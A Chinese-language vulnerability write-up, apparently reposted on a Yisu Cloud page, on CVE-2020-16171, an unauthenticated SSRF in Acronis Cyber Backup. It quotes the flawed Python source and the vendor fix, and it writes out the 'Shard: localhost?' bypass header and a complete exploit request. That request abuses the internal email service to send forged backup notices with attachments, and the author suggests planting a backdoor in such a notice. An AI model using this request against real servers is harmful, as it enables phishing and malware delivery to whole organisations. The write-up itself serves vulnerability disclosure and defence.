溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點(diǎn)擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

如何進(jìn)行Acronis Cyber Backup中的SSRF漏洞CVE-2020-16171分析

發(fā)布時(shí)間:2021-12-28 17:17:00 來源:億速云 閱讀:140 作者:柒染 欄目:安全技術(shù)

CVE-2020-16171:Acronis Cyber Backup中的SSRF漏洞分析,針對這個(gè)問題,這篇文章詳細(xì)介紹了相對應(yīng)的分析和解答,希望可以幫助更多想解決這個(gè)問題的小伙伴找到更簡單易行的方法。

寫在前面的話

在這篇文章中,我們將跟大家介紹一個(gè)存在于Acronis Cyber Backup(受影響版本為v12.5 Build 16341及其之前版本)中的未經(jīng)認(rèn)證的SSRF漏洞,該漏洞將允許攻擊者利用綁定到localhost的Web服務(wù)來向任意目標(biāo)用戶發(fā)送自定義的電子郵件。這個(gè)漏洞的有趣之處就在于,攻擊者將能夠利用該漏洞將自定義的電子郵件作為備份標(biāo)識(shí)符來發(fā)送,其中也能包含完全自定義的附件。大家可以想象一下,如果我們能夠向整個(gè)組織發(fā)送一個(gè)Acronis“備份失敗”的郵件,并在其中嵌入一個(gè)后門,會(huì)發(fā)生什么?

漏洞成因分析

Acronis Cyber Backup本質(zhì)上是一個(gè)數(shù)據(jù)備份解決方案,它可以為系統(tǒng)管理員提供一種強(qiáng)大的方法來自動(dòng)備份所有接入的系統(tǒng),比如說客戶端以及服務(wù)器等等。解決方案本身就由數(shù)十個(gè)內(nèi)部連接的Web服務(wù)以及功能組件組成。因此,這個(gè)解決方案本質(zhì)上就是一個(gè)由不同C/C++、Go和Python應(yīng)用程序以及代碼庫組成的解決方案。

應(yīng)用程序的主Web服務(wù)運(yùn)行在端口9877上,運(yùn)行之后將顯示一個(gè)登錄界面:

如何進(jìn)行Acronis Cyber Backup中的SSRF漏洞CVE-2020-16171分析

毫無疑問,每一個(gè)攻擊者的目標(biāo)都是想要去找到一些在未經(jīng)身份認(rèn)證的情況下就能發(fā)現(xiàn)的敏感數(shù)據(jù)。因此,我們需要對主Web服務(wù)的源碼進(jìn)行分析。實(shí)際上,我在短時(shí)間內(nèi)就發(fā)現(xiàn)了一個(gè)名叫make_request_to_ams的方法:

# WebServer/wcs/web/temp_ams_proxy.py:

 

def make_request_to_ams(resource, method, data=None):

    port = config.CONFIG.get('default_ams_port', '9892')

    uri = 'http://{}:{}{}'.format(get_ams_address(request.headers), port, resource)

[...]

這里最有意思的就是這個(gè)針對get_ams_address(request.headers)的調(diào)用,它主要用來構(gòu)建URI。在這里,應(yīng)用程序?qū)⒆x取該方法中一個(gè)名叫Shard的特定請求Header:

def get_ams_address(headers):

    if 'Shard' in headers:

        logging.debug('Get_ams_address address from shard ams_host=%s', headers.get('Shard'))

        return headers.get('Shard')  # Mobile agent >= ABC5.0

深入分析make_request_to_ams調(diào)用后,我們發(fā)現(xiàn)應(yīng)用程序會(huì)調(diào)用urllib.request.urlopen并讀取Shard頭中的值:

def make_request_to_ams(resource, method, data=None):

[...]

    logging.debug('Making request to AMS %s %s', method, uri)

    headers = dict(request.headers)

    del headers['Content-Length']

    if not data is None:

        headers['Content-Type'] = 'application/json'

    req = urllib.request.Request(uri,

                                 headers=headers,

                                 method=method,

                                 data=data)

    resp = None

    try:

        resp = urllib.request.urlopen(req, timeout=wcs.web.session.DEFAULT_REQUEST_TIMEOUT)

    except Exception as e:

        logging.error('Cannot access ams {} {}, error: {}'.format(method, resource, e))

    return resp

這樣看來,這很明顯就是一個(gè)SSRF漏洞了,而且這里還有幾個(gè)因素讓這個(gè)SSRF漏洞變得更加嚴(yán)重:

request.Request類的初始化使用的全部都是原始的請求Header,請求中的HTTP方法,以及整個(gè)請求主體。

將返回完整的響應(yīng)信息。

在這里,唯一需要繞過的就是目的URI的硬編碼構(gòu)造了,因?yàn)锳PI會(huì)向請求的URI附加分號(hào)、端口和其他資源:

uri = 'http://{}:{}{}'.format(get_ams_address(request.headers), port, resource)

不過別擔(dān)心,這個(gè)很容易繞過,因?yàn)槲覀冎恍枰砑右粋€(gè)“?”來將它們轉(zhuǎn)換為參數(shù)即可。最終針對Shard頭的Payload如下:

Shard: localhost?

尋找未認(rèn)證路徑

為了利用這個(gè)SSRF漏洞,我們需要找到一個(gè)可以在未經(jīng)認(rèn)證的情況下訪問的路徑。雖然CyberBackup的大多數(shù)路徑都只能通過身份驗(yàn)證才能訪問,但這里有一個(gè)有趣的路徑是/api/ams/agents,它就有點(diǎn)不一樣了:

# WebServer/wcs/web/temp_ams_proxy.py:

_AMS_ADD_DEVICES_ROUTES = [

    (['POST'], '/api/ams/agents'),

] + AMS_PUBLIC_ROUTES

針對這個(gè)路徑的所有請求都將被傳遞給route_add_devices_request_to_ams方法:

def setup_ams_routes(app):

[...]

    for methods, uri, *dummy in _AMS_ADD_DEVICES_ROUTES:

        app.add_url_rule(uri,

                         methods=methods,

                         view_func=_route_add_devices_request_to_ams)

[...]

這樣一來,程序?qū)⒅粫?huì)在將請求傳遞給存在漏洞的_route_the_request_to_ams方法之前檢查

allow_add_devices configuration是否已啟用:

def _route_add_devices_request_to_ams(*dummy_args, **dummy_kwargs):

    if not config.CONFIG.get('allow_add_devices', True):

        raise exceptions.operation_forbidden_error('Add devices')

 

    return _route_the_request_to_ams(*dummy_args, **dummy_kwargs)

這樣,我們就成功找到了一個(gè)未經(jīng)認(rèn)證的可攻擊路徑了。

發(fā)送包含了附件的自定義郵件

其中一個(gè)有意思的Web服務(wù)運(yùn)行在localhost:30572上,即通知服務(wù)。這個(gè)服務(wù)能夠提供各種方法來發(fā)送通知,其中一個(gè)節(jié)點(diǎn)就是/external_email/:

@route(r'^/external_email/?')

class ExternalEmailHandler(RESTHandler):

    @schematic_request(input=ExternalEmailValidator(), deserialize=True)

    async def post(self):

        try:

            error = await send_external_email(

                self.json['tenantId'], self.json['eventLevel'], self.json['template'], self.json['parameters'],

                self.json.get('images', {}), self.json.get('attachments', {}), self.json.get('mainRecipients', []),

                self.json.get('additionalRecipients', [])

            )

            if error:

                raise HTTPError(http.BAD_REQUEST, reason=error.replace('\n', ''))

        except RuntimeError as e:

            raise HTTPError(http.BAD_REQUEST, reason=str(e))

這里我們就不去詳細(xì)分析send_external_email方法了,因?yàn)樗_實(shí)有點(diǎn)復(fù)雜,但是這個(gè)節(jié)點(diǎn)使用的參數(shù)是通過HTTP POST方法來提供的,并使用這些內(nèi)容來構(gòu)建之后需要發(fā)送的電子郵件。

最終的漏洞利用代碼如下:

POST /api/ams/agents HTTP/1.1

Host: 10.211.55.10:9877

Shard: localhost:30572/external_email?

Connection: close

Content-Length: 719

Content-Type: application/json;charset=UTF-8

 

{"tenantId":"00000000-0000-0000-0000-000000000000",

"template":"true_image_backup",

"parameters":{

"what_to_backup":"what_to_backup",

"duration":2,

"timezone":1,

"start_time":1,

"finish_time":1,

"backup_size":1,

"quota_servers":1,

"usage_vms":1,

"quota_vms":1,"subject_status":"subject_status",

"machine_name":"machine_name",

"plan_name":"plan_name",

"subject_hierarchy_name":"subject_hierarchy_name",

"subject_login":"subject_login",

"ams_machine_name":"ams_machine_name",

"machine_name":"machine_name",

"status":"status","support_url":"support_url"

},

"images":{"test":"./critical-alert.png"},

"attachments":{"test.html":"PHU+U29tZSBtb3JlIGZ1biBoZXJlPC91Pg=="},

"mainRecipients":["info@somerandomemail.com"]}

其中包含了針對電子郵件的自定義配置,比如Base64編碼的attachments值。發(fā)送這個(gè)POST請求將返回null:

如何進(jìn)行Acronis Cyber Backup中的SSRF漏洞CVE-2020-16171分析

但是最終將包含了attachments的郵件發(fā)送給mainRecipients之后,界面如下:

如何進(jìn)行Acronis Cyber Backup中的SSRF漏洞CVE-2020-16171分析

這就成功啦!

漏洞修復(fù)

Acronis在Acronis Cyber Backup v12.5 Build 16342版本中修復(fù)了這個(gè)漏洞,Acronis修改了get_ams_address獲取實(shí)際Shard地址的方式,現(xiàn)在將需要額外的認(rèn)證Header(帶有JWT,傳遞給一個(gè)名為resolve_shard_address的方法)才可以訪問獲取。

# WebServer/wcs/web/temp_ams_proxy.py:

def get_ams_address(headers):

    if config.is_msp_environment():

        auth = headers.get('Authorization')

        _bearer_prefix = 'bearer '

        _bearer_prefix_len = len(_bearer_prefix)

        jwt = auth[_bearer_prefix_len:]

        tenant_id = headers.get('X-Apigw-Tenant-Id')

        logging.info('GET_AMS: tenant_id: {}, jwt: {}'.format(tenant_id, jwt))

        if tenant_id and jwt:

            return wcs.web.session.resolve_shard_address(jwt, tenant_id)

tenant_id和jwt的值在這里沒有進(jìn)行顯式驗(yàn)證,但它們會(huì)在一個(gè)針對API節(jié)點(diǎn)/api/account_server/tenants/的新硬編碼調(diào)用時(shí)被使用,并完成最終的授權(quán)驗(yàn)證:

# WebServer/wcs/web/session.py:

def resolve_shard_address(jwt, tenant_id):

    backup_account_server = config.CONFIG['default_backup_account_server']

    url = '{}/api/account_server/tenants/{}'.format(backup_account_server, tenant_id)

 

    headers = {

        'Authorization': 'Bearer {}'.format(jwt)

    }

 

    from wcs.web.proxy import make_request

    result = make_request(url,

                          logging.getLogger(),

                          method='GET',

                          headers=headers).json()

    kind = result['kind']

    if kind not in ['unit', 'customer']:

        raise exceptions.unsupported_tenant_kind(kind)

return result['ams_shard']

關(guān)于CVE-2020-16171:Acronis Cyber Backup中的SSRF漏洞分析問題的解答就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,如果你還有很多疑惑沒有解開,可以關(guān)注億速云行業(yè)資訊頻道了解更多相關(guān)知識(shí)。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI